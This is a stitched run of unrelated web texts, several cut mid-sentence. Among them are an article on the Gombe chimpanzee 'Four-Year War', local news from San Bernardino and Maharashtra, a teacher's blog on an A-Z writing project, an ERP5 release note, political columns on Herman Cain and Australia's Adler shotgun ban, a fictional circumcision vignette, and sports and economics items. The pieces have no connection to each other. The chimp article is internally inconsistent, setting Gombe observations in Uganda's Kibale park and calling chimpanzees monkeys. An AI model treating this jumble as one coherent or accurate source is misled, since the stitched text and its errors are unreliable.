I have a good relationship with my parents today, but it was rocky during my teenage years because I was high all the time and lying to them all the time. They had their suspicions, but they didn't want to believe that their baby boy was selling drugs. It's a tough pill to swallow for parents. |
as the Four-Year War) and it lasted from 1974 through 1978. Scientists had never witnessed anything like it – and have never seen anything like it since – and before the civil war would end, nearly two dozen monkeys would lose their lives.
A once-united community breaks
The Gombe community had been a united single group until about 1971 when the chimps split into two factions – one based in the north, the other based in the south. Scientists believe the death of the group’s strong leader, Leakey, may have prompted the start of the discord. A large chimp, Humphrey, became the alpha male after the death of Leakey, but Humphrey was weak and faced pressure from two brothers from the south – Hugh and Charlie. Some of the chimps followed Humphrey while others sided with Hugh and Charlie until gradually, the two groups stopped socializing with each other altogether. Before long, for reasons we may never comprehend, the Kasakela community decided they wanted Kahama’s territory – and they began a coordinated, violent campaign to get it.
Clever apes use war tactics to hunt and kill their enemy
Scientists watched in wonder (and horror) as Kasakela members patrolled, in single file, looking for vulnerable penetration points along the borders of the Kahama/Kasakela territory. These were clearly not food-gathering expeditions – they did not make their usual foraging calls and shouts. Instead, they would creep silently, seemingly thoughtfully, through the territory of their neighboring chimpanzee community until they discovered a lone, vulnerable chimp that was separated from the group. They began picking off their “enemy” one chimp at a time.
The death of Godi
The first to die was Godi. Godi was alone, feeding in a tree near the border, when six male Kasakela males slipped behind rebel lines and savagely attacked and killed him. The gang of chimps moved on Godi as a group and while some members held him pinned to the ground, others took turns beating and jumping on the victim inflicting vicious mortal wounds. It was the first time that any chimpanzee had been seen to deliberately kill a fellow chimp. A group of scientists conducting a field study in the Uganda Kibale National Park, including renowned chimpanzee expert Jane Goodall, watched in horror. In her memoir, Goodall wrote how the experience changed her perception of chimpanzees forever,
“For several years I struggled to come to terms with this new knowledge. Often when I woke in the night, horrific pictures sprang unbidden to my mind.”
Kidnappings, beatings, and murder
In 1976, the civil war gathered steam with groups of Kasakela launching routine daily raids into the territory of the neighboring chimps. The second Kahama to die was De who was savagely beaten by the Kasakela for more than twenty minutes. The third to die was Goliath, an old and frail male. One scientists, horrified at the brutality of the attack, noted how viscous one of the primate attackers was:
“'[He] twisted his leg round and round—as though he was trying to dismember him.” Advertisements
Soon all male members of the Kahama community were dead and the Kasakela turned their attention to the females and infant chimps that were left behind. Three of the females were kidnapped by the Kasakela, dragged into enemy territory, and savagely raped. Even the infants were murdered. Before long, the Kahama community was no more and Kasakela enjoyed their new territorial gains without further conflict.
The end of the war – and beginning of a new era
Soon after the Kasakela obtained all of the Kahama territory, a new challenge arose. Their newfound land holdings butted up against another chimpanzee community, called the Kalande. The Kalande had superior strength and numbers and the Kasakela were not even close to matching their power. After a few violent skirmishes along their border, the Kasakela conceded much of their newfound territory to the Kalande community, retreating back into the original territory where they began.
Sources: Wikipedia, New Scientist, Daily Mail, Jane Goodall, Smithsonian Magazine, Reddit, Discovery Magazine, National Geographic, Time Magazine, NBC News, The Chimps of Gombe
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AdvertisementsSAN BERNARDINO, Calif. The city attorney of San Bernardino is under scrutiny for telling residents to "lock their doors and load their guns" during a city council meeting, CBS Los Angeles reports.
The official explained that because the city just outside of Los Angeles is bankrupt and slashing public safety budgets, people will need to start protecting themselves.
City Attorney Jim Penman said he doesn't regret what he said.
"You should say what you mean and mean what you say," Penman said.
(Scroll down to watch Penman's interview with CBS Los Angeles)
The city attorney said approximately 150 residents came to a council meeting to voice their concerns about recent crimes in the area, including the murder of an elderly woman last week.
"You could tell the swell of frustration was coming over a lot of folks. They did not feel like they could get an officer out as quickly to some of the quality-of-life issues that they were dealing with as they would have preferred," said Councilwoman Wendy McCommack, who organized the meeting and was present that night.
"Well, if I remember right, I told them to 'lock their doors and load their guns,'" Penman said.
Penman said the city is dealing with bankruptcy, which has forced officials to cut its police force by about 80 officers. Consequently, there's been growing criticism about the police department's response time.
"Let's be honest, we don't have enough police officers. We have too many criminals living in this city. We have had 45 murders this year... that's far too high for a city of this size," Penman said.
The city attorney said it's important for people to be smart about protecting themselves and their family.
"I'm not advocating that people go out, who don't have any training, and buy firearms. I certainly strongly caution anyone who has children at home not to have a loaded gun in the house," Penman said.
"We need to take our streets back, we need to take our neighborhoods back and we need to protect our homes, and that's what I think Jim was trying to say," McCommack said.
The city of San Bernardino has seen a 50 percent increase in murders this year compared to 2011.While the H1 Unlimited hydroplanes will be ripping and roaring on the Columbia River for the Hapo APBA Columbia Cup, two other series of hydroplanes will race for their own grand prizes.
The loud and lightweight Grand Prix West hydros will return to the Tri-City Water Follies, and 5-Liter hydroplanes will make their debut.
Best known for the unmistakable roar of their engines, the Grand Prix West boats weigh in around 3,000 pounds — half the weight of unlimited hydros — but are powered by 468 cubic inch, big block engines that give them plenty of power for their size. With all boats on the tour using similar parts, races tend to be closer than the H1 Unlimited heats, and there is rarely a clear favorite in the field.
New to the Tri-City Water Follies festivities are 5-Liter hydroplanes, which will replace the 1-Liter hydros seen on previous race weekends. The 5-Liter boats have more power on board than their smaller counterparts, but can still make tight turns on the water.
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Race Schedule
The H1 Unlimited boats will run testing and qualifying on Friday, two sets of preliminary heats on Saturday, and then two more rounds of preliminary heats on Sunday before the main event, the Columbia Cup, at 4 p.m.
Before last season, the H1 Unlimited series only had drivers race in three heats before the weekend final. The extra heat on Sunday puts a premium on vehicle maintenance and endurance over a long weekend of racing.
For a full weekend race schedule for all three series, visit WaterFollies.com.
Over the River Airshow
As the hydroplanes rev their engines on the water, the Patriots Jet Team will bring the Thunder in the skies as they highlight the 2016 Hapo “Over the River” Airshow.
In addition to the six-member Patriots Jet Team, the airshow will feature a U.S. Coast Guard rescue demonstration, Lucas Oil aerobatics and skydivers, Yellow Thunder’s dog fighting maneuvers, and a presentation by Power Addiction Airshows.
The “Over the River” Airshow will take to the skies at 11:30 a.m. Friday, Saturday and Sunday.
Vintage Hydroplanes
Reviving the nostalgia of the early days of hydroplane racing, this year’s Legends of Thunder Vintage Hydroplane demonstration will simulate a rematch for the 1955 APBA Gold Cup racing fans never got to see.
Replicas of the Vashon Unlimiteds 1955 Miss Thriftway and William Black’s 1954 Gale V will be the main attractions in the five-boat demonstration.
Bill Muncey drove the Seattle-owned Miss Thriftway in that infamous 1955 Gold Cup, and appeared to have won the weekend with two heat wins after the Slo-Mo-Shuns hull flipped. However, a convoluted scoring system awarded the Gale V 400 points for having the fastest elapsed time for the weekend and, in turn, the Gold Cup.
A testing accident a year later destroyed the Gale V, preventing the hull from ever defending its Gold Cup title.
The Gale V and and Miss Thriftway will zip around the Columbia River with the recreated 1957 Miss Wahoo and restored versions of the 1957 Breathless III and 1962 Miss Bardahl.
The vintage hydroplanes are scheduled to run at 3:55 p.m. Friday, 9 a.m. and 3:10 p.m. Saturday, and 9 a.m. and 3:20 p.m. Sunday.MUMBAI: Maharashtra is considering a ban on fishermen from outside the state fishing in its waters in order to protect the interests of the fishermen in the Konkan region.In a reply to a motion of propriety in the Upper House, minister of state for fisheries, Vijay Deshmukh, said, "We are considering a ban on fishermen from Kerala and Karnataka fishing in the Mumbai and Konkan region."While raising the motion, Nationalist Congress Party (NCP) legislator Anil Tatkare said that fishermen from other states enter the Konkan region and Mumbai and vandalise boats while also thrashing local fishermen from Sindhudurg and Ratnagiri."Speedboats owned by the fisheries department patrol the sea for more than eight hours every day, but these are not hi-speed boats. Hence, it is impossible to catch the boats from outside (the state)," Deshmukh said, adding that the fisheries department has decided to purchase new boats and make those available during the next fishing season."Technical staff will also be available to ensure the safety of fishermen from Konkan. We have arrested six fishermen from other states and recovered penalty from them," he said.What to Do When Kids Finish Their Work Early
Those few minutes that exist between activities when some kids have finished their work and others haven’t is sooo chaotic, right?
Oh sure, just have them pull out their library books and read until you’re all ready to move on.
Right.
I mean, yeah, some kids in class follow the instructions of “bring your library book every day” to read if they finish something early.
…And then others NEVER have a library book. Or they just won’t read it. Or whatever. Then they have nothing to do for a few minutes (such a huge waste of time when you add it all up!).
Plus, at the middle school age, kids really do need a structure and a routine they can count on, along with a way to constantly spiral back and keep practicing Language Arts mad skilz.
So I came up with what I call “The A-Z Writing Project” because this little doozy pretty much takes care of 90% of the “I’m done / What do I do now” malarky.
Here’s the A-Z Writing Project itself.
Here’s the student instruction sheet.
In addition, the questions and prompts in the writing project itself range from creative writing topics to current concepts they’re learning right now to older concepts they need to re-discover and practice from two months ago… or even two years ago, like with parts-of-speech stuff.
Now exactly what, pray tell, is this A-Z Writing Projec t?
Well, here it goes:
The A-Z Writing Project is what I invented in response to the school district cutting our ELA class time down from 90 minutes to 60 minutes. Oh, and then they added in a mandatory 20-minute “guided reading” element- in sixth grade.
I know, right?
So then that only left 40 minutes for actual on-level standards-based English/Language Arts instruction. No time for those awesome bell ringers I had, which included free writing, scaffolding, review of older concepts I know the kids still needed help with, etc.
What to do with all the writing questions?
Hmm…
What to do with all the prompts and writing intensive bell ringers that forced the students to spiral back to previous concepts taught and learned earlier in the year?
Answer:
Take all those bell ringers and turn them into a series of 26 separate and rather unrelated writing prompts. The dates were replaced with letters of the alphabet (A-Z Writing Project, right?) and I printed them out from PowerPoint (2 slides per paper).
I printed them in color and laminated them so they’d last a long time. I taped them in alpha order all around the room in a line, somewhat evenly spaced yet spread out, too.
Anytime the students finish their work early, they just get up, grab their stapled packet of notebook paper, and go up to one of the letters and start writing.
(And yes, I have a little instruction sheet for the kids to use and follow here. I make them staple it to the front of the notebook paper so they always have it).
It’s pretty common to see most of my kids sitting down working on an assignment and then several others quietly moving around the room as they respond to one or a few A-Z Writing Project questions.
Then when the slower ones are ready to move on, we all come back together as a class to continue.
But what about those kids who always finish things early and always seem to be ahead and who always need something to do? What about the ones who literally never finish anything? Isn’t this just more for them to have to catch up with?
Nope. It really doesn’t work that way, and it hasn’t been a problem because I don’t let it become one. As the teacher, you can always modify how many of the A-Z writing questions certain kids have to do based on their needs. It’s not that big of a deal.
So take a look at your timeline and grading period and all that jazz. Are you on a six or nine-week grading period? Quarters? Trimesters?
That’s ok. It doesn’t really matter. Here’s why:
With 26 questions to work on, it’s fine to give the kids a month, or a six week period, or whatever you want in order for them to complete the project. They can do one prompt a day, or if they are too busy in class they might not do any of the questions and then double up on another day. It always works out.
For those situations where it’s a fluke and you accidentally finish your day’s lessons with 5-15 minutes to spare and you’re like, “Crap! I knew I should have made copies of that extension activity, but I didn’t! Now what am I going to do with them???” …Check out this little doozy which can solve that particular problem in a flash! No prep required!
Um… What about grading these?!!!?
I give the kids a due date and you’d actually be surprised at how many tend to get it done early and turn it in (they’re usually the ones with the library books!). So I grade them as they come in and it’s not a huge deal AT ALL!
I always let them omit one so I only have 25 to grade (25 x 4 = 100).
I count them up quickly to make sure all 25 are there. Then I just have a few “toughies” that I really actually read.
Just a few. We’re talking about short answers, small paragraphs, and I’m just scanning. So it takes no time at all. I can walk around the room “monitoring” during a quiz or an independent assignment or something like that and just sort of grade them as I’m moving around. It’s really quick.
Then when the next grading period starts, you just take down the current A-Z prompts and put up the next ones. Rinse and repeat.
Yes. I have A-Z Writing Projects for all throughout the school year that I am happy to share!
So yeah… setting these up each grading period or each month has literally done away with kids wondering what to do next because officially, there’s always something for them to be working on and I don’t have to stop and explain it every day in every class.
If this sounds like something you want to implement in your class, click here and I’ll totally shoot an entire PowerPoint copy of one of my A-Z Writing Projects to you that you may use right now in your classroom.
What are some things YOU do to alleviate the “What do I do now” issue?Nexedi Announces ERP5 Release 5.5
Nexedi is proud to announce the availability of release 5.5 of the ERP5 Open Source ERP. In 1.888 commits since release 5.4.7., many ERP5 applications saw significant improvements (Accounting, CRM, DMS, e-Commerce, HR, Payroll, Trade, Web, Blog and Forum among others).
Release 5.5 most notably pushes ERP5's capabilities for 24/7 operation on clusters even further: ERP5 already supports since 10 years the development of business logic, forms and workflows online on live instances and the transparent distribution of changes on all cluster nodes thanks to the use of the ZEO distributed object architecture. With the introduction of ZODB Components, ERP5 Release 5.5 extends these capabilities to the core of ERP5: object schema definitions (property sheets), unit tests, functional tests and extension methods are now managed as distributed objects. This technology enables mainframe-like non-disruptive operation of ERP5's enterprise applications on standard hardware.
With the introduction of code mirror and ace editor for web development, ERP5 becomes even more attractive for developers who would like to set-up ERP5 as a privately owned Open Source PaaS for business applications.
Finally, Release 5.5 is the first release offering Chinese and German Internationalisation (Translation and Accounting Integration) through ERP5 Configurator.
For an overview of changes in this release, see Release Highlights below, for a complete list, checkout the ERP5 Git Log.
Release Information
The following table lists the download links for ERP5 Release 5.5. For more Information on ERP5 Releases and how to install ERP5, see ERP5 Release Information.
To try ERP5, we recommend to use the ERP5 Virtual Machine together with the tutorials of the OSOE Project. It provides a pre-configured ERP5 demo instance based on pre-defined business templates and categories. The Virtual Machine package includes the whole software stack of ERP5 and its dependencies. It is published as VMWare image.
To install the ERP5 VM, follow the tutorial How to install and use the ERP5 VM.
To try and learn ERP5, we recommend to follow the tutorial session of the OSOE project: ERP: Theory, Practice and Configuration.
Release Highlights
ERP5 Accounting Added erp5_tax_return business template: Generic handling of VAT return in ERP5.
ERP5 Accounting: Relate projects to accounting transactions for project based reporting and cost control.
ERP5 Accounting: Add validators for IBAN & BIC.
ERP5 Accounting: Added aged balance report.
ERP5 Asset: Add erp5_research_item business template for managing research assets.
ERP5 Budget: Improvements to budget consumption report.
ERP5 Commerce: Improve support for multilingual online shops and user logins.
ERP5 Configurator: Integration of Chinese and German Translation and Accounting Plan in Standard SMB Configurator.
ERP5 Configurator: New Configurator Flavour: eBusiness Lotse.
ERP5 Core: Transition of most business templates to ZODB Components: Property Sheets, Unit Tests and Extensions moved from the File System into ERP5's object data base ZODB
ERP5 Core: Add History View for each document in the ZODB object database.
ERP5 Core: Improvements of handling big data files (multiple GB) in ERP5.
ERP5 CRM: Improve management of communication plans.
ERP5 CRM: Improve response events (manual sender selection and automatic content type selection).
ERP5 DMS: Enable streaming of video files.
ERP5 Email Reader: Improve support with various IMAP Servers (thanks to Boris Kocherov from raskon).
ERP5 Forum: Improve displaying of discussion threads.
ERP5 HR: Improvements to presence control, time management and ERP5 Calendar.
ERP5 Project: Translation of Requirement Lists directly in ERP5.
ERP5 Payroll: Fix cumulated taxable net salary in reports.
ERP5 Release: First release available directly through susestudio.
ERP5 Security: User Interface Improvements on handling logins: Ignore leading- and trailing white space in logins.
ERP5 Security: Added plug-in for access tokens.
ERP PaaS: The use of Ace editor makes through the web editing of Python Scripts, unit tests, functional tests, extension methods and web pages more comfortable by enabling syntax checking with PyLint and syntax highlighting and comfortable search and replace.
ERP PaaS: Added erp5_code_mirror business template: alternative editor for web programming.
ERP5 Trade: Pricing: Add pricing optimisation preference.
ERP5 Web: Improve front pages of blogs.
For a full list of changes see the ERP5 Git Log.
Acknowledgements
For this release we would like to especially acknowledge the work of Boris Kocherov from raskon to improve ERP5 Email Reader support for various IMAP Servers.
Permanent URL for this Press Release
http://www.erp5.com/news-ERP5.release.5.5
Contacts
Jean-Paul Smets - CEO Nexedi S.A. - jp (at) nexedi (dot) com - Tel. +33 (0)6 29 02 44 25 or +86 182 01 75 42 78
Thierry Brettnacher - VP Consulting, Nexedi S.A. - tb (at) nexedi (dot) com - Tel. +33 (0)6 62 05 76 14
Yusei Tahara - CEO Nexedi KK - yusei (at) nexedi (dot) com - Tel. +81 (0) 3 5829 9433
Klaus Wölfel - Nexedi GmbH. - klaus (at) nexedi (dot) com - Tel. +49 (0) 1769 6399023
Emily J. Hsu - VP Nexedi S.A. - emily.hsu (at) nexedi (dot) com - Tel. +33 (0)6 77 73 59 28
About Nexedi
Nexedi is the creator and leader of the ERP5 Open Source ERP project. Nexedi has developed and deployed ERP5 for a wide range of industries such as aerospace, apparel, banking, healthcare and government. ERP5 is used in companies of all sizes in Africa, Asia, Europe, North and South Americas. The open source nature of ERP5 eliminates licensing costs and provides full freedom to update and customise the system as business requirements change with no single vendor lock-in.
Nexedi is a major contributor to the SlapOS technology, a distributed Cloud Computing system compatible with the leading market standards and designed for resilience and reversibility for critical applications.
Nexedi is a the developer of NEO, an open source distributed transactional NoSQL database built on MariaDB that implements the ZODB protocol for python objects.
Nexedi provides 24H around-the-clock support to corporations and governments wishing to migrate their mission critical applications to open source software solutions.
More information at www.erp5.com, www.slapos.org and www.nexedi.com.
Legalese
Nexedi and ERP5 are registered trademarks of Nexedi.This e-mail message may contain confidential or legally privileged information and is intended only for the use of the intended recipient(s). Any unauthorized disclosure, dissemination, distribution, copying or the taking of any action in reliance on the information herein is prohibited. E-mails are not secure and cannot be guaranteed to be error free as they can be intercepted, amended, or contain viruses. Anyone who communicates with us by e-mail is deemed to have accepted these risks. Company Name is not responsible for errors or omissions in this message and denies any responsibility for any damage arising from the use of e-mail. Any opinion and other statement contained in this message and any attachment are solely those of the author and do not necessarily represent those of the company.After dumping Sarah Palin and Dick Morris, Fox News has hired Scott Brown and now Herman Cain as a contributor.
The first three moves made some sense, especially the two firings. Palin's fling with fame was over, and the sleaze attached to Morris had reached the point where it was seriously hurting the Fox brand.
But the hiring of Cain, which was reported Friday, feels like an act of desperation, a move made in reaction to sinking ratings rather than one done as part of a larger vision.
Talk about ethical baggage with Morris, Cain had to end his presidential run after several women alleged that he had either sexually harassed or had a relationship with them -- and that they had been paid not to talk about it.
OK, Roger Ailes, maybe you keep some of the Tea Party partisans who were angry with you for ditching Shotgun Sarah, but how does anyone on your network talk about family values, fidelity, honesty or integrity with Cain on the payroll? One of the women claimed she had an extramarital affair with Cain for 13 years.
In his own way, Cain is more a red-hot ethical mess than Morris. And the former pizza executive has shown none of the mental dexterity and nimbleness of mind Morris demonstrates when he is on his game.
Admittedly, there were not many of those good days left with Morris, who had become a poster boy for the ravages of dissolution -- talent gone to seed and suet. But, at least, when Morris talked policy or theory, you knew he had once been in the room where big political decisions were made -- and he could follow the arguments, if not lead them, once upon a time. At least you didn't want to laugh out loud because his ideas and sense of American political history sounded like those of a cartoon character -- as Cain's regularly did during the campaign.
In fact, as I write this, I am actually thinking Cain might be the only major party candidate I can think of who had a worse sense of American political history than Palin -- and that's something post-Katie-Couric-interview and "Game Change" that I thought I would never say.
I have held off on making too much of CNN's little ratings surge the last couple of weeks. I don't think it has reached the point where it makes sense yet to talk of momentum.
But I'll tell you this: Jeff Zucker, the new head of CNN, seems to have a vision in the many moves he is making. And it looks like a winning vision.
The hiring of Harman Cain, meanwhile, is a clear indication that's not the case with Roger Ailes, who seems to be losing confidence with each Nielsen dip at Fox News.DAVID Leyonhjelm says the Turnbull government has “welched” on a political agreement linked to overturning a 12 month importation ban on the Adler A110 lever action shotgun.
The NSW Liberal Democratic Senator is expecting to be re-elected for a second term when voting for the Upper House from the July 2 double dissolution election concludes this week.
But he’s seething at an announcement last week by Justice Minister Michael Keenan to extend the Adler ban and effectively dishonour a deal struck in the previous parliament.
Emails obtained by Fairfax Agricultural Media show Mr Keenan’s office signed-off on a sunset clause on the rifle’s importation about one year ago, along with Immigration and Border Protection Minister Peter Dutton, after bargaining with the crossbench Senator.
“We confirm that Ministers Dutton and Keenan have agreed that the government will amend the Customs (Prohibited Imports) Regulations 1956 to insert a sunset clause of 12 months into the recently amended provisions which ban the importation of lever action shot guns with a magazine capacity of more than 5 rounds,” said an email from an advisor in Mr Keenan’s office on August 12 last year.
“The effect of the sunset clause would be that 12 months after this amendment comes into effect the ban will automatically cease to be in place.
“In return, Senator Leyonhjelm will vote against the Labor amendments to the Migration Amendment (Strengthening Biometric Integrity) Bill 2015.”
The email chain said the government also agreed to commit to ongoing consultation between Minster Keenan - who is also the Minister Assisting the Prime Minister for Counter-Terrorism - and “a wide range of key stakeholders” including shooting associations and firearms dealers.
But Mr Keenen’s media statement last week contradicted that “good faith” arrangement, Senator Leyonhjelm said.
Mr Keenan said the import ban on lever-action shotguns with a magazine capacity of greater than five rounds and detachable firearms magazines with a capacity greater than five rounds was due to expire on August 7.
He said it was introduced due to the government’s concern that a significant number of high capacity lever action shotguns were shortly due to be imported into Australia.
Mr Keenan said the ban was based on the advice of Commonwealth, State and Territory law enforcement agencies and officials pending the outcomes of the review of the National Firearms Agreement (NFA) struck in 1996 following the Port Arthur Massacre.
“As that review is yet to be finalised, today the Australian government extended the prohibition on the importation of lever action shotguns with a magazine capacity of greater than five rounds,” he said.
“The prohibition is intended to be in place until the review of the NFA is concluded and the agreed outcomes are implemented.”
Senator Leyonhjelm said he spoke to Prime Minister Malcolm Turnbull about the government “welching” on its agreement with him and got the impression the Prime Minister was being poorly advised by Mr Keenan.
”He (Mr Turnbull) didn’t seem to be aware of the facts and was repeating nonsense that could only have come from Keenan”, he said.
Senator Leyonhjelm said Mr Keenan’s statement represented a “direct betrayal” of an agreement they made and “in other words, the deal we did last year isn’t worth a pinch of shit”.
“As the email exchange shows, my agreement with the government is black and white,” he said.
“What this shows is that the government’s word is completely worthless even when it is in writing.”
Senator Leyonhjelm said apparently a deal was not a deal when it was struck with the Turnbull government; despite being in writing with senior ministers and their staff.
He said he would take the broken promise into account when negotiating with the government in future and also bring the matter to the attention of his fellow crossbench Senators.
“The government clearly cannot be trusted to keep its word,” he said.
Senator Leyonhjelm said the Coalition government was also being ridiculous about the seven shot Adler shotgun.
He said the five shot version was freely available and can be easily converted to hold seven or eight shots.
“Furthermore, rifles and pistols with 10 round magazines are treated no differently from those with small magazine capacities,” he said.
“Minister Keenan is obsessed with the Adler and receiving very poor advice from the firearms section of the Attorney General’s Department.”
NIOA - Australia’s leading privately owned small arms supplier – is understood to be looking to import the Turkish-made shotguns into Australia.
But in a statement last year when the Adler ban was first announced - pending the NFA review which resulted from the Martin Place siege - Robert Nioa from NIOA said no state or federal government department had expressed any concern to him about the firearm’s importation, which was for licensed owners.
“Most surprising is that there has been no public safety issue related to lever action shotguns in Australia for the 130 years that they have been available,” he said.
“The gun is needed for feral pest control in rural areas - primarily crop protection from birds and control of disease spread by wild pigs.
“There has been no consultation on this issue with farmers, licensed firearm owners or the Australian firearms industry and no government spokesman has been able to articulate a reason for the ban.”
Mr Keenan’s statement said States and Territories had primary responsibility for the regulation of firearms and would need to implement any NFA reforms, before the ban could be lifted.
He said extending the prohibition ensured the firearms in question can’t be imported into Australia legally, until there was a consistent national approach to its classification.
The review of the NFA is due to be considered by Commonwealth, state and territory Ministers later this year, he said.
Asked whether the government had broken its promise to Senator Leyonhjelm, a spokesperson for Mr Keenan said the ban was always intended to be temporary.
The spokesperson said the government was hopeful of reaching a resolution between jurisdictions regarding updates to the NFA, before the ban was due to sunset.
“As this review has not been finalised the government makes no apology for extending the ban until there is a nationally agreed NFA,” the spokesperson said.
The National Farmers’ Federation’s submission to the NFA review said the Adler shotgun had been subject to intense public debate and, “unfortunately much of this has lost sight of the facts”.
NFF said the shotgun’s design had been around for more than 100 years but a ‘new technology’ label was being used to indicate “all lever action firearms are a concern”.
“We have seen no evidence of any misuse with lever action firearms and believe that debate around this firearm could lead to poorly reasoned policy changes which affect law abiding firearms owners,” NFF said.
“There are likely hundreds of thousands of lever action firearms already in Australia; many thousands of them are lever action shotguns with the same design as the Adler.
“Not only has false information regarding the design been circulated widely, but also a ban on the importation of the shotgun in its original form was enacted before the review of the National Firearms Agreement was announced.
“The NFF views this decision to ban the importation of the Adler as an unfortunate and ill-conceived reaction to a poorly informed public furore.”
In its summary, the NFF said it was critical the focus of any changes to the NFA be cognisant of the need for primary producers to continue to access effective pest management tools and focussed on addressing the heart of the problem - being criminal misuse of firearms, rather than law abiding gun owners.
Mr Nioa said he was aware front line police were pressing governments for more resources to fight the illicit use of illegal firearms by criminals and “this might simply be a cheap way for governments to ignore the front line police and say they have done something”.
“It is much more convenient for government to write a letter to a farmer banning a tool of trade rather than provide the funding that is being requested by front line police,” he said.
Mr Dutton’s office was also included in the email exchange, confirming the deal struck last year with Senator Leyonhjelm.
In an email on August 12, 2015, to Ms Wood, Senator Leyonhjelm confirmed he agreed to support the government’s migration amendments in exchange for the sunset clause on the rifle importation ban.
“I’m serious about the consultation process being ongoing, not one-off or reactive, but I’m assuming there is good faith here,” he said.
“I have advised (Family First SA Senator) Bob Day accordingly and will speak to (Motoring Enthusiasts’ Party Victorian Senator) Ricky Muir shortly.”
The NFA sets out nationally-agreed principles for the regulation of firearms in Australia between the Commonwealth and each of the states and territories providing some of the most stringent firearms regulations in the world.
The story Leyonhjelm: Turnbull government “direct betrayal” on Adler ban first appeared on The Land.Rita’s daughter cries, again.
“I can’t take it!” Rita tells her mother on the phone. “For the past 24 hours, she has cried nonstop.”
“It will get better, Rita,” her mother replies. “You did the right thing.”
An hour passes. Then, it is time for a diaper change. Rita lovingly picks up her infant daughter and places her on the changing table. The little one cries.
“Shhh now…” Rita coos. “It’s going to be alright. You just have a wet diaper.”
Placing a comforting hand on her daughter’s small chest, Rita peels back the sticky tabs and opens the diaper only to recoil in shock. Blood, rather than urine, soaks the absorbent pad. Bright, red blood.
Sick to her stomach with hands shaking, Rita carefully opens up her daughter’s labia majora to look inside the girl’s genitals. Yes, the wound from yesterday’s circumcision is bleeding, a lot. No wonder she has been crying.
A trip to the hospital ensues. Rita’s husband Nate meets his wife and daughter at the ER. The infant is stabilized. Gratefully, there is no need for a blood transfusion. The stunned parents are instructed in wound care and comfort measures.
“Look, it’s terrifying,” the doctor on call affirms. “It is. But it’s rare. Only 1 to 2 percent of circumcised girls suffer complications and the benefits of removing the clitoral hood are well documented. She will be cleaner and protected from the possibility of cancers that infect the vulva.”
Rita nods affirmatively. She knows the facts. She herself is circumcised, as are her friends, sisters, aunts, and mother.
On the drive home, Nate breaks his unusual silence. “Maybe we didn’t do the right thing.” His voice shakes. “You know in Europe, they don’t circumcise girls.”
A traumatized, medicated, and exhausted infant sleeps in her car seat. Her parents drive home in silence.
A blatant double standard
“Cut a girl, go to jail. Cut a boy, cash a check.”
-- Intact America
The story of Rita and Nate is fictional in just one sense. The couple authorized the illegal genital cutting of a daughter, not a son. In every other aspect, the dynamics of their story unfold daily for infant boys in the United States.
We stand alone as the only country |
, race-spec Ceriani front forks, a double sided 4LS front brake and an iron, 750cc OHV v-twin engine. This particular bike was fully restored by Warr’s of London into immaculate, as new condition and promptly won the ‘Important Competition Machines’ class at Europe’s prestigious Salon Privé – Concours d’Elegance.
The v-twin was tweaked and modified extensively during the season and went from producing 70hp early in 1972 to producing close to 100hp towards the end of the year. Interestingly a 4 leading-shoe drum brake was chosen for the front of the bike with a small disc brake being fitted at the rear, despite the known performance benefits of all all disc set up. The Harley-Davidson XR750TT’s total weight was just 324lbs (that’s 147kg) – to give you an idea of scale, the current generation Harley-Davidson Sportster weighs in at 553lbs (251kgs).
It seems a damn shame that Harley-Davidson isn’t competing with motorcycles like this anymore, the racers produced by motor sports programmes are always the ones that are remembered and more often than not, the marque produces some road-spec versions to placate their more dedicated fans. The halo effect of all this is hugely beneficial to the brand as a whole and would do wonders for Harley’s current image as a producer of chubby, try-hard, bumbling highway cruisers.
I guess we can always dream.
Via BikeEXIF – Photographs by Marianne LogicaThe New York Federal Reserve’s tool for forecasting gross domestic product (GDP) hit its highest point ever on Friday, pointing to a fourth-quarter GDP growth of 3.93 percent.
The number is so high that the New York Fed’s “Nowcasting Report” had to be rescaled to allow for such a high reading. Prior to the most recent quarter, the Nowcast has never before predicted GDP above 3.2 percent and rarely ever above 3 percent.
The Nowcast uses the most recent economic figures to try to get a real-time reading of economic output. It is updated weekly. Last week’s number was pushed up by good news about employment, inventories, and new home sales. Low inflation was a drag on the number.
The message from the New York Fed is simple: the economy is booming.
The economy has grown at greater than 3 percent for every full quarter that Donald Trump has been president. It grew at just 1.24 percent in the first quarter of the year as the country transitioned from the Obama administration to the Trump administration.
A 3.9 percent growth rate is far higher than economists forecasted when surveyed by the National Association for Business Economics (NABE). Despite signs that the economy had strengthened, most saw the economy slowing down at the end of the year. The NABE survey forecast just 2.8 percent for the third quarter. Instead, the economy grew at an annualized rate of 3.3 percent, according to the latest figures from the U.S. government. The NABE survey forecast 2.5 percent growth for the fourth quarter, more than a full percentage point from where the New York Fed Nowcast is pointing:
The economy has been regularly outperforming forecasts since Trump took office. Many economists had nothing but scorn for Trump’s prediction that he could achieve three percent growth, but now, that looks like a real possibility, as three consecutive quarters of growth above three percent looks likely.
The New York Fed Nowcast is considered to be more optimistic than the older GDPNOW tool run out of the Atlanta Fed. But even the GDPNOW forecast looks very strong, turning in a 3.5 percent growth forecast on Friday.NAPA, Calif. -- The Oakland Raiders are basically starting over.
In the second year of the Reggie McKenzie-Dennis Allen era, the team has hit the reset button. The Raiders kept several high-dollar players at start of the post-Al Davis era in 2012 and saw their decade-long malaise continue. Oakland, which has not been to the playoffs since 2002, lost eight of its final nine games last season and finished 4-12.
McKenzie flushed several players in an attempt to get control -- finally -- of a salary cap that got away from the previous regime. The result is that Oakland, which will be in fine salary-cap shape next year, has questions throughout the roster heading into this season.
Yet, Oakland isn’t ready to give up on another season, waiting for better fiscal times. Oakland is beginning the rebuilding process with several players handpicked by McKenzie and Allen.
The theme of these newcomers is the same: “They love football,” Allen said.
Almost every time I’ve heard Allen talk in 2013, he has mentioned the will and desire of his team. Allen doesn’t dwell on the past, but it is clear he didn’t believe some of the players on his first Oakland roster would totally sell out for the game.
McKenzie said it was crucial to get high-character players in the building.
“This is the only way we are going to get this thing going,” McKenzie said. “We need to get guys who want it. I think this team, as a whole, wants it. You need talent but you need high-desire players. Sometimes, that is more important than talent. Now, we have talent, but the key is to find guys who have both. We think we have the kind of guys who can be here when we turn this thing around.”
It is doubtful Oakland will be a factor in the AFC West this season, but it’s all about the building process. Having players whom McKenzie and Allen believe in is a start.
“We have to build a swagger,” Allen said. “This team has to have a vision and a belief that this is going to be a good football team.”
THREE HOT ISSUES
